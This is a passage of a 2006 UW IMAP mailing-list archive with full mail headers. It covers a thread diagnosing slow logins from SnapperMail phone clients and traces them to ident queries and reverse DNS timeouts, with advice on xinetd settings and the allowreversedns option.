(8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id k17MX7R7023609 for ; Tue, 7 Feb 2006 14:33:07 -0800 Received: from mail95.messagelabs.com (mail95.messagelabs.com [216.82.241.67]) by mxe3.u.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with SMTP id k17MWWQ0024770 for ; Tue, 7 Feb 2006 14:33:05 -0800 X-VirusChecked: Checked X-Env-Sender: msirota@isc.upenn.edu X-Msg-Ref: server-7.tower-95.messagelabs.com!1139351122!26317054!13 X-StarScan-Version: 5.5.9.1; banners=-,-,- X-Originating-IP: [128.91.2.38] Received: (qmail 9091 invoked from network); 7 Feb 2006 22:25:26 -0000 Received: from pobox.upenn.edu (HELO pobox.upenn.edu) (128.91.2.38) by server-7.tower-95.messagelabs.com with SMTP; 7 Feb 2006 22:25:26 -0000 Received: from marmaduke.net.isc.upenn.edu (marmaduke.net.isc.upenn.edu [128.91.197.61]) by pobox.upenn.edu (Postfix) with ESMTP id 1CAFDD13; Tue, 7 Feb 2006 17:25:25 -0500 (EST) Date: Tue, 07 Feb 2006 17:25:25 -0500 From: Mark Sirota To: thomasl@mtl.mit.edu, imap-uw@u.washington.edu Subject: Re: [Imap-uw] problem between SnapperMail 2.3.2-01 and Imapd 2004c Message-ID: <96B788814802661DBAAF6521@marmaduke.net.isc.upenn.edu> In-Reply-To: <43E91C79.8050507@mtl.mit.edu> References: <43E91C79.8050507@mtl.mit.edu> X-Mailer: Mulberry/4.0.0 (Mac OS X) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit Content-Disposition: inline X-Uwash-Spam: Gauge=IIIIIII, Probability=7%, Report='__CD 0, __CT 0, __CTE 0, __CT_TEXT_PLAIN 0, __HAS_MSGID 0, __HAS_X_MAILER 0, __MIME_TEXT_ONLY 0, __MIME_VERSION 0, __SANE_MSGID 0, __STOCK_CRUFT 0' Cc: X-BeenThere: imap-uw@u.washington.edu X-Mailman-Version: 2.1.5 Precedence: list List-Id: imap-uw.u.washington.edu List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , Sender: imap-uw-bounces@mailman1.u.washington.edu Errors-To: imap-uw-bounces@mailman1.u.washington.edu --On February 7, 2006 5:17:29 PM -0500 Thomas Lohman wrote: > We've recently had a rash of folks using Treo 650 phones with > SnapperMail 2.3.2 installed to read their email via secure IMAP. On the > phone side, SnapperMail goes through some initial steps such as > Authenticating, Securing and then it gets to Authorizing. At this step, > it will hang for a few minutes or more and then eventually continue on > successfully. While it works, our users are wondering if there is any > fix to the long wait on initial connect. We had this problem, and found that our tcp wrappers were sending ident (rfc 931) queries. The intermediate server from which the IMAP requests were coming dropped those packets rather than sending a TCP reset, which caused long delays while the ident query timed out. The same thing happens with some firewalls. My recommendation would be to verify whether you are sending ident queries from tcp wrappers, and if so, turn that off and see whether the problem goes away. Mark _______________________________________________ Imap-uw mailing list Imap-uw@u.washington.edu https://mailman1.u.washington.edu/mailman/listinfo/imap-uw From pinedev@shivax2.cac.washington.edu Tue Feb 7 15:04:30 2006 -0800 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Tue, 7 Feb 2006 15:04:30 -0800 (PST) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id k17N4Uhu026318 for ; Tue, 7 Feb 2006 15:04:30 -0800 Received: from mxout4.cac.washington.edu (mxout4.cac.washington.edu [140.142.33.19]) by mx2.cac.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id k17N4TPX010085 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK); Tue, 7 Feb 2006 15:04:29 -0800 Received: from mailman1.u.washington.edu (mailman1.u.washington.edu [140.142.12.154]) by mxout4.cac.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id k17N4QGs030225 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Tue, 7 Feb 2006 15:04:26 -0800 Received: from mailman1.u.washington.edu (localhost [127.0.0.1]) by mailman1.u.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id k17N4PcH031297; Tue, 7 Feb 2006 15:04:25 -0800 Received: from mxi3.u.washington.edu (mxi3.u.washington.edu [140.142.32.176]) by mailman1.u.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id k17N4PhE031289 for ; Tue, 7 Feb 2006 15:04:25 -0800 Received: from mxout7.cac.washington.edu (mxout7.cac.washington.edu [140.142.32.178]) by mxi3.u.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id k17N4OH9024901 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK) for ; Tue, 7 Feb 2006 15:04:25 -0800 Received: from smtp.washington.edu (smtp.washington.edu [140.142.32.139]) by mxout7.cac.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id k17N4OBi021034 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK); Tue, 7 Feb 2006 15:04:24 -0800 X-Auth-Received: from Tomobiki-Cho.CAC.Washington.EDU (tomobiki-cho.cac.washington.edu [128.95.135.58]) (authenticated authid=mrc) by smtp.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id k17N4NBA031302 (version=TLSv1/SSLv3 cipher=RC4-MD5 bits=128 verify=NOT); Tue, 7 Feb 2006 15:04:24 -0800 Date: Tue, 7 Feb 2006 15:05:00 -0800 (Pacific Standard Time) From: Mark Crispin To: Mark Sirota Subject: Re: [Imap-uw] problem between SnapperMail 2.3.2-01 and Imapd 2004c In-Reply-To: <96B788814802661DBAAF6521@marmaduke.net.isc.upenn.edu> Message-ID: References: <43E91C79.8050507@mtl.mit.edu> <96B788814802661DBAAF6521@marmaduke.net.isc.upenn.edu> Organization: Networks & Distributed Computing MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII; format=flowed X-Uwash-Spam: Gauge=IIIIIII, Probability=7%, Report='__CT 0, __CT_TEXT_PLAIN 0, __HAS_MSGID 0, __MIME_TEXT_ONLY 0, __MIME_VERSION 0, __SANE_MSGID 0, __STOCK_CRUFT 0' Cc: imap-uw@u.washington.edu X-BeenThere: imap-uw@u.washington.edu X-Mailman-Version: 2.1.5 Precedence: list List-Id: imap-uw.u.washington.edu List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , Sender: imap-uw-bounces@mailman1.u.washington.edu Errors-To: imap-uw-bounces@mailman1.u.washington.edu On Tue, 7 Feb 2006, Mark Sirota wrote: > We had this problem, and found that our tcp wrappers were sending ident > (rfc 931) queries. I agree with checking for ident queries. This is the primary cause of long connect delays. The most common way to configure/repair away ident is: In your xinetd configuration files (such as /etc/xinetd.d/imap), check to see if there is any line with "USERID". If so, delete all such lines with extreme prejudice. In some systems, ident is invoked by other mechanisms; but the above is the most common. -- Mark -- http://staff.washington.edu/mrc Science does not emerge from voting, party politics, or public debate. Si vis pacem, para bellum. _______________________________________________ Imap-uw mailing list Imap-uw@u.washington.edu https://mailman1.u.washington.edu/mailman/listinfo/imap-uw From pinedev@shivax2.cac.washington.edu Tue Feb 7 19:34:37 2006 -0800 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Tue, 7 Feb 2006 19:34:37 -0800 (PST) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id k183YaAp007534 for ; Tue, 7 Feb 2006 19:34:36 -0800 Received: from mxout5.cac.washington.edu (mxout5.cac.washington.edu [140.142.32.135]) by mx2.cac.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id k183YZL5026352 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK); Tue, 7 Feb 2006 19:34:36 -0800 Received: from mailman1.u.washington.edu (mailman1.u.washington.edu [140.142.12.154]) by mxout5.cac.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id k183YVhO007763 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Tue, 7 Feb 2006 19:34:32 -0800 Received: from mailman1.u.washington.edu (localhost [127.0.0.1]) by mailman1.u.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id k183YVp5012054; Tue, 7 Feb 2006 19:34:31 -0800 Received: from mxe4.u.washington.edu (mxe4.u.washington.edu [140.142.33.15]) by mailman1.u.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id k183YVQm012043 for ; Tue, 7 Feb 2006 19:34:31 -0800 Received: from mtl.mit.edu (MTL.MIT.EDU [18.62.0.45]) by mxe4.u.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id k183Y9pC003638 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO) for ; Tue, 7 Feb 2006 19:34:30 -0800 Received: from c-65-96-240-115.hsd1.ma.comcast.net ([65.96.240.115] helo=[192.168.2.12]) by mtl.mit.edu with asmtp (TLSv1:AES256-SHA:256) (Exim 4.34) id 1F6g4s-0003rN-Qh for imap-uw@u.washington.edu; Tue, 07 Feb 2006 22:33:10 -0500 Message-ID: <43E966F1.5000502@mtl.mit.edu> Date: Tue, 07 Feb 2006 22:35:13 -0500 From: Thomas Lohman User-Agent: Thunderbird 1.5 (Windows/20051201) MIME-Version: 1.0 To: imap-uw@u.washington.edu Subject: Re: [Imap-uw] problem between SnapperMail 2.3.2-01 and Imapd 2004c References: <43E91C79.8050507@mtl.mit.edu> <96B788814802661DBAAF6521@marmaduke.net.isc.upenn.edu> In-Reply-To: <96B788814802661DBAAF6521@marmaduke.net.isc.upenn.edu> Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit X-MTL-MailServer: Found to be clean X-MTL-MailServer-From: thomasl@mtl.mit.edu X-Uwash-Spam: Gauge=IIIIIII, Probability=7%, Report='__CT 0, __CTE 0, __CT_TEXT_PLAIN 0, __HAS_MSGID 0, __MIME_TEXT_ONLY 0, __MIME_VERSION 0, __SANE_MSGID 0, __STOCK_CRUFT 0, __USER_AGENT 0' X-BeenThere: imap-uw@u.washington.edu X-Mailman-Version: 2.1.5 Precedence: list Reply-To: thomasl@mtl.mit.edu List-Id: imap-uw.u.washington.edu List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , Sender: imap-uw-bounces@mailman1.u.washington.edu Errors-To: imap-uw-bounces@mailman1.u.washington.edu > We had this problem, and found that our tcp wrappers were sending ident > (rfc 931) queries. The intermediate server from which the IMAP requests > were coming dropped those packets rather than sending a TCP reset, which > caused long delays while the ident query timed out. The same thing > happens with some firewalls. Thanks Mark (both Marks) for your replies. We're currently not running imapd with tcp wrappers wrapping it. A little more background on what we have - we have a Solaris 9 server and run imapd out of /etc/inetd.conf like so: imaps stream tcp nowait root /usr/local/imap/libexec/imapd imapd Is there any other way imapd or inetd can be issuing ident queries? thanks, --tom _______________________________________________ Imap-uw mailing list Imap-uw@u.washington.edu https://mailman1.u.washington.edu/mailman/listinfo/imap-uw From pinedev@shivax2.cac.washington.edu Tue Feb 7 19:40:23 2006 -0800 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Tue, 7 Feb 2006 19:40:22 -0800 (PST) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.140]) by groupms.cac.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id k183eMeg007761 for ; Tue, 7 Feb 2006 19:40:22 -0800 Received: from mxout7.cac.washington.edu (mxout7.cac.washington.edu [140.142.32.178]) by mx1.cac.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id k183eKlu032158 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK); Tue, 7 Feb 2006 19:40:21 -0800 Received: from mailman1.u.washington.edu (mailman1.u.washington.edu [140.142.12.154]) by mxout7.cac.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id k183eGjr026615 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Tue, 7 Feb 2006 19:40:17 -0800 Received: from mailman1.u.washington.edu (localhost [127.0.0.1]) by mailman1.u.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id k183eGSR012866; Tue, 7 Feb 2006 19:40:16 -0800 Received: from mxi2.u.washington.edu (mxi2.u.washington.edu [140.142.33.12]) by mailman1.u.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id k183eECS012858 for ; Tue, 7 Feb 2006 19:40:15 -0800 Received: from mxout5.cac.washington.edu (mxout5.cac.washington.edu [140.142.32.135]) by mxi2.u.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id k183eEus001915 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK) for ; Tue, 7 Feb 2006 19:40:14 -0800 Received: from smtp.washington.edu (smtp.washington.edu [140.142.32.139]) by mxout5.cac.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id k183eEv1009055 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK); Tue, 7 Feb 2006 19:40:14 -0800 X-Auth-Received: from Shimo-Tomobiki.panda.com (panda.com [206.124.149.114]) (authenticated authid=mrc) by smtp.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id k183eCN9013006 (version=TLSv1/SSLv3 cipher=RC4-MD5 bits=128 verify=NOT); Tue, 7 Feb 2006 19:40:13 -0800 Date: Tue, 7 Feb 2006 19:40:11 -0800 From: Mark Crispin To: Thomas Lohman Subject: Re: [Imap-uw] problem between SnapperMail 2.3.2-01 and Imapd 2004c In-Reply-To: <43E966F1.5000502@mtl.mit.edu> Message-ID: References: <43E91C79.8050507@mtl.mit.edu> <96B788814802661DBAAF6521@marmaduke.net.isc.upenn.edu> <43E966F1.5000502@mtl.mit.edu> Organization: Networks & Distributed Computing MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII; format=flowed X-Uwash-Spam: Gauge=IIIIIII, Probability=7%, Report='__CT 0, __CT_TEXT_PLAIN 0, __HAS_MSGID 0, __MIME_TEXT_ONLY 0, __MIME_VERSION 0, __SANE_MSGID 0, __STOCK_CRUFT 0' Cc: imap-uw@u.washington.edu X-BeenThere: imap-uw@u.washington.edu X-Mailman-Version: 2.1.5 Precedence: list List-Id: imap-uw.u.washington.edu List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , Sender: imap-uw-bounces@mailman1.u.washington.edu Errors-To: imap-uw-bounces@mailman1.u.washington.edu On Tue, 7 Feb 2006, Thomas Lohman wrote: > Is there any other way imapd or inetd can be issuing ident queries? The other thing that you could look at is seeing if you are encountering DNS timeouts. Can imapd do a reverse lookup on both its own IP address and on the client IP address without it taking forever? -- Mark -- http://staff.washington.edu/mrc Science does not emerge from voting, party politics, or public debate. Si vis pacem, para bellum. _______________________________________________ Imap-uw mailing list Imap-uw@u.washington.edu https://mailman1.u.washington.edu/mailman/listinfo/imap-uw From pinedev@shivax2.cac.washington.edu Tue Feb 7 19:56:56 2006 -0800 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Tue, 7 Feb 2006 19:56:56 -0800 (PST) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id k183uulu008349 for ; Tue, 7 Feb 2006 19:56:56 -0800 Received: from mxout5.cac.washington.edu (mxout5.cac.washington.edu [140.142.32.135]) by mx2.cac.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id k183urtC027258 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK); Tue, 7 Feb 2006 19:56:54 -0800 Received: from mailman1.u.washington.edu (mailman1.u.washington.edu [140.142.12.154]) by mxout5.cac.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id k183ukCS012351 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Tue, 7 Feb 2006 19:56:47 -0800 Received: from mailman1.u.washington.edu (localhost [127.0.0.1]) by mailman1.u.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id k183ukT9015558; Tue, 7 Feb 2006 19:56:46 -0800 Received: from mxe4.u.washington.edu (mxe4.u.washington.edu [140.142.33.15]) by mailman1.u.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id k183uins015550 for ; Tue, 7 Feb 2006 19:56:44 -0800 Received: from mtl.mit.edu (MTL.MIT.EDU [18.62.0.45]) by mxe4.u.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id k183uEwr018871 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO) for ; Tue, 7 Feb 2006 19:56:42 -0800 Received: from c-65-96-240-115.hsd1.ma.comcast.net ([65.96.240.115] helo=[192.168.2.12]) by mtl.mit.edu with asmtp (TLSv1:AES256-SHA:256) (Exim 4.34) id 1F6gQn-0004Uw-K3 for imap-uw@u.washington.edu; Tue, 07 Feb 2006 22:55:49 -0500 Message-ID: <43E96C40.6060801@mtl.mit.edu> Date: Tue, 07 Feb 2006 22:57:52 -0500 From: Thomas Lohman User-Agent: Thunderbird 1.5 (Windows/20051201) MIME-Version: 1.0 To: imap-uw@u.washington.edu Subject: Re: [Imap-uw] problem between SnapperMail 2.3.2-01 and Imapd 2004c References: <43E91C79.8050507@mtl.mit.edu> <96B788814802661DBAAF6521@marmaduke.net.isc.upenn.edu> <43E966F1.5000502@mtl.mit.edu> In-Reply-To: Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit X-MTL-MailServer: Found to be clean X-MTL-MailServer-From: thomasl@mtl.mit.edu X-Uwash-Spam: Gauge=IIIIIII, Probability=7%, Report='__CT 0, __CTE 0, __CT_TEXT_PLAIN 0, __HAS_MSGID 0, __MIME_TEXT_ONLY 0, __MIME_VERSION 0, __SANE_MSGID 0, __STOCK_CRUFT 0, __USER_AGENT 0' X-BeenThere: imap-uw@u.washington.edu X-Mailman-Version: 2.1.5 Precedence: list Reply-To: thomasl@mtl.mit.edu List-Id: imap-uw.u.washington.edu List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , Sender: imap-uw-bounces@mailman1.u.washington.edu Errors-To: imap-uw-bounces@mailman1.u.washington.edu Thanks Mark. I think you've hit the nail on the head and this also explains why it sometimes works normally for them - not often but the users claim every once in awhile it goes right through with no delay. I just tried to do a reverse lookup of the IP address of the client and it hung and eventually timed out. What is the best solution to this? To somehow cache these addresses or is there a way to turn off this reverse lookup? thanks, --tom > On Tue, 7 Feb 2006, Thomas Lohman wrote: >> Is there any other way imapd or inetd can be issuing ident queries? > > The other thing that you could look at is seeing if you are encountering > DNS timeouts. Can imapd do a reverse lookup on both its own IP address > and on the client IP address without it taking forever? > > -- Mark -- > > http://staff.washington.edu/mrc > Science does not emerge from voting, party politics, or public debate. > Si vis pacem, para bellum. _______________________________________________ Imap-uw mailing list Imap-uw@u.washington.edu https://mailman1.u.washington.edu/mailman/listinfo/imap-uw From pinedev@shivax2.cac.washington.edu Tue Feb 7 20:30:03 2006 -0800 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Tue, 7 Feb 2006 20:30:03 -0800 (PST) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.140]) by groupms.cac.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id k184U3X1009772 for ; Tue, 7 Feb 2006 20:30:03 -0800 Received: from mxout1.cac.washington.edu (mxout1.cac.washington.edu [140.142.32.134]) by mx1.cac.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id k184U2Gr002372 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK); Tue, 7 Feb 2006 20:30:02 -0800 Received: from mailman1.u.washington.edu (mailman1.u.washington.edu [140.142.12.154]) by mxout1.cac.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id k184TvQg006118 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Tue, 7 Feb 2006 20:29:57 -0800 Received: from mailman1.u.washington.edu (localhost [127.0.0.1]) by mailman1.u.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id k184Tvee018354; Tue, 7 Feb 2006 20:29:57 -0800 Received: from mxi1.u.washington.edu (mxi1.u.washington.edu [140.142.32.143]) by mailman1.u.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id k184Tv65018330 for ; Tue, 7 Feb 2006 20:29:57 -0800 Received: from mxout5.cac.washington.edu (mxout5.cac.washington.edu [140.142.32.135]) by mxi1.u.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id k184TuFS029224 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK) for ; Tue, 7 Feb 2006 20:29:56 -0800 Received: from smtp.washington.edu (smtp.washington.edu [140.142.32.139]) by mxout5.cac.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id k184TtIP018711 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK); Tue, 7 Feb 2006 20:29:55 -0800 X-Auth-Received: from Shimo-Tomobiki.panda.com (panda.com [206.124.149.114]) (authenticated authid=mrc) by smtp.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id k184TrUh016262 (version=TLSv1/SSLv3 cipher=RC4-MD5 bits=128 verify=NOT); Tue, 7 Feb 2006 20:29:54 -0800 Date: Tue, 7 Feb 2006 20:29:52 -0800 From: Mark Crispin To: Thomas Lohman Subject: Re: [Imap-uw] problem between SnapperMail 2.3.2-01 and Imapd 2004c In-Reply-To: <43E96C40.6060801@mtl.mit.edu> Message-ID: References: <43E91C79.8050507@mtl.mit.edu> <96B788814802661DBAAF6521@marmaduke.net.isc.upenn.edu> <43E966F1.5000502@mtl.mit.edu> <43E96C40.6060801@mtl.mit.edu> Organization: Networks & Distributed Computing MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII; format=flowed X-Uwash-Spam: Gauge=IIIIIII, Probability=7%, Report='__CT 0, __CT_TEXT_PLAIN 0, __HAS_MSGID 0, __MIME_TEXT_ONLY 0, __MIME_VERSION 0, __SANE_MSGID 0, __STOCK_CRUFT 0' Cc: imap-uw@u.washington.edu X-BeenThere: imap-uw@u.washington.edu X-Mailman-Version: 2.1.5 Precedence: list List-Id: imap-uw.u.washington.edu List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , Sender: imap-uw-bounces@mailman1.u.washington.edu Errors-To: imap-uw-bounces@mailman1.u.washington.edu On Tue, 7 Feb 2006, Thomas Lohman wrote: > I just tried to do > a reverse lookup of the IP address of the client and it hung and eventually > timed out. What is the best solution to this? To somehow cache these > addresses or is there a way to turn off this reverse lookup? The first and best thing to try is to fix whatever is making the DNS fail. In the case of the server's own name, it's probably best to make sure that /etc/hosts is set up properly. Note that the FQDN *must* be first; many Solaris systems are set up with a non-FQDN first. Fixing the DNS is also a good idea. In your case, if you aren't in a position to fix the client's DNS address, you may be forced to turn off reverse DNS lookups. I advise against doing so except as a LAST RESORT; it will make the logs less useful and it will break Kerberos authentication. However, if you absolutely, positively, must, the thing to change is allowreversedns; it is set to T (allow it) and you would change it to NIL. The file is imap-****/src/osdep/unix/tcp_unix.c Even if you find yourself forced to do this, I strongly advise that you try to get the DNS fixed (including, but not limited, to nagging the client network manager). You may want to do something like have an imapd that does this be on an alternative port, or some other such mechanism so that most usage does the reverse DNS correctly. -- Mark -- http://staff.washington.edu/mrc Science does not emerge from voting, party politics, or public debate. Si vis pacem, para bellum. _______________________________________________ Imap-uw mailing list Imap-uw@u.washington.edu https://mailman1.u.washington.edu/mailman/listinfo/imap-uw From pinedev@shivax2.cac.washington.edu Wed Feb 8 03:40:47 2006 -0800 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Wed, 8 Feb 2006 03:40:47 -0800 (PST) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.140]) by groupms.cac.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id k18Belsu001770 for ; Wed, 8 Feb 2006 03:40:47 -0800 Received: from mxout5.cac.washington.edu (mxout5.cac.washington.edu [140.142.32.135]) by mx1.cac.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id k18Beh3b025757 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK); Wed, 8 Feb 2006 03:40:43 -0800 Received: from mailman1.u.washington.edu (mailman1.u.washington.edu [140.142.12.154]) by mxout5.cac.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id k18BeWBZ029797 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Wed, 8 Feb 2006 03:40:33 -0800 Received: from mailman1.u.washington.edu (localhost [127.0.0.1]) by mailman1.u.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id k18BeWnU016210; Wed, 8 Feb 2006 03:40:32 -0800 Received: from mxe4.u.washington.edu (mxe4.u.washington.edu [140.142.33.15]) by mailman1.u.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id k18BeTgU016195 for ; Wed, 8 Feb 2006 03:40:31 -0800 Received: from mtl.mit.edu (MTL.MIT.EDU [18.62.0.45]) by mxe4.u.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id k18BePmC013179 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO) for ; Wed, 8 Feb 2006 03:40:27 -0800 Received: from c-65-96-240-115.hsd1.ma.comcast.net ([65.96.240.115] helo=[192.168.2.12]) by mtl.mit.edu with asmtp (TLSv1:AES256-SHA:256) (Exim 4.34) id 1F6nfj-0002gw-G2 for imap-uw@u.washington.edu; Wed, 08 Feb 2006 06:39:43 -0500 Message-ID: <43E9D8F9.4010505@mtl.mit.edu> Date: Wed, 08 Feb 2006 06:41:45 -0500 From: Thomas Lohman User-Agent: Thunderbird 1.5 (Windows/20051201) MIME-Version: 1.0 To: imap-uw@u.washington.edu Subject: Re: [Imap-uw] problem between SnapperMail 2.3.2-01 and Imapd 2004c References: <43E91C79.8050507@mtl.mit.edu> <96B788814802661DBAAF6521@marmaduke.net.isc.upenn.edu> <43E966F1.5000502@mtl.mit.edu> <43E96C40.6060801@mtl.mit.edu> In-Reply-To: Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit X-MTL-MailServer: Found to be clean X-MTL-MailServer-From: thomasl@mtl.mit.edu X-Uwash-Spam: Gauge=IIIIIII, Probability=7%, Report='__CT 0, __CTE 0, __CT_TEXT_PLAIN 0, __HAS_MSGID 0, __MIME_TEXT_ONLY 0, __MIME_VERSION 0, __SANE_MSGID 0, __STOCK_CRUFT 0, __USER_AGENT 0' X-BeenThere: imap-uw@u.washington.edu X-Mailman-Version: 2.1.5 Precedence: list Reply-To: thomasl@mtl.mit.edu List-Id: imap-uw.u.washington.edu List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , Sender: imap-uw-bounces@mailman1.u.washington.edu Errors-To: imap-uw-bounces@mailman1.u.washington.edu Thanks Mark. > In the case of the server's own name, it's probably best to make sure > that /etc/hosts is set up properly. Note that the FQDN *must* be first; > many Solaris systems are set up with a non-FQDN first. Yes, the server's own name is fine and everything in /etc/hosts looks to be correct. It seems to just be a problem with the reverse lookup of the Sprint client IP address. > In your case, if you aren't in a position to fix the client's DNS > address, you may be forced to turn off reverse DNS lookups. I advise > against doing so except as a LAST RESORT; it will make the logs less > useful and it will break Kerberos authentication. Ok - thanks for the advice. Unfortunately, I do not have any direct control over the DNS servers we use. Those are controlled by MIT's main IS&T folks. I am able to do a lookup from home so the problem doesn't appear to be the clients/Sprint's but the route that MIT is taking to do the lookup so I guess I should first contact them regarding this and see if something is misconfigured on their servers. In the meantime, I'll try compiling it on a test server with allowreversedns set to NIL and see if the problem is fixed. It also seems to be that running a local caching name server may also aid in speeding up the server and the lookups. Is this something recommended? We currently do not do this on our Solaris servers but it was on the to do list. It seems the IMAP/POP server's performance might improve a little if this were done. thanks much, --tom _______________________________________________ Imap-uw mailing list Imap-uw@u.washington.edu https://mailman1.u.washington.edu/mailman/listinfo/imap-uw From pinedev@shivax2.cac.washington.edu Wed Feb 8 03:49:23 2006 -0800 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Wed, 8 Feb 2006 03:49:23 -0800 (PST) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.140]) by groupms.cac.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id k18BnMGf002410 for ; Wed, 8 Feb 2006 03:49:22 -0800 Received: from mxout7.cac.washington.edu (mxout7.cac.washington.edu [140.142.32.178]) by mx1.cac.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id 